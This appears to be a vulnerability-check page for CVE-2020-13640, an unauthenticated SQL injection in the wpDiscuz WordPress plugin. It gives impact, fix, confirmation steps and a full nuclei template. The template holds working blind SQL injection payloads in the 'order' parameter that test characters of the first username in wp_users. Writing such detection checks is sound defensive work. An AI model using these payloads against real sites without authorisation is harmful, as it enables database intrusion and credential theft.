wpDiscuz <= 5.3.5 - SQL Injection

criticalseverity

9.8CVSS score

15.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A SQL injection issue in the gVectors wpDiscuz plugin 5.3.5 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the order parameter of a wpdLoadMoreComments request.

Impact

Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including user credentials, posts, and sensitive WordPress configuration data.

Fix

Upgrade to wpDiscuz version 5.3.6 or later.

How to confirm it

Send: GET /wp-json/wp/v2/comments
Send: POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php
Positive when: contains "comment_list\":\"<div id=\\\"wc-comm"
Send: POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php
Positive when: contains "\"comment_list\":null"

Run it with nuclei: nuclei -id CVE-2020-13640 -u <target>

The full check

id: CVE-2020-13640

info:
  name: wpDiscuz <= 5.3.5 - SQL Injection
  author: Sourabh-Sahu
  severity: critical
  description: |
    A SQL injection issue in the gVectors wpDiscuz plugin 5.3.5 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the order parameter of a wpdLoadMoreComments request.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including user credentials, posts, and sensitive WordPress configuration data.
  remediation: |
    Upgrade to wpDiscuz version 5.3.6 or later.
  reference:
    - https://github.com/asterite3/CVE-2020-13640
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13640
    epss-score: 0.15113
    epss-percentile: 0.96764
    cwe-id: CWE-89
    cpe: cpe:2.3:a:gvectors:wpdiscuz:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: gvectors
    product: wpdiscuz
    fofa-query: body="/wp-content/plugins/wpdiscuz"
  tags: cve,cve2020,wordpress,wp,wp-plugin,wpdiscuz,sqli,vkev,vuln

flow: |
  http(1)
  set("postid", iterate(template.postid)[0])
  http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/comments HTTP/1.1
        Host: {{Host}}

    stop-at-first-match: true
    extractors:
      - type: regex
        name: postid
        part: body
        group: 1
        regex:
          - 'post"\s*:\s*([0-9]+)'
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php HTTP/1.1
        Host: {{Host}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        action=wpdLoadMoreComments&offset=1&orderBy=comment_date_gmt&order=, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 96) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #&lastParentId=&postId={{postid}}

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - 'comment_list":"<div id=\"wc-comm'
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php HTTP/1.1
        Host: {{Host}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        action=wpdLoadMoreComments&offset=1&orderBy=comment_date_gmt&order=, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 97) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #&lastParentId=&postId={{postid}}

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - '"comment_list":null'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from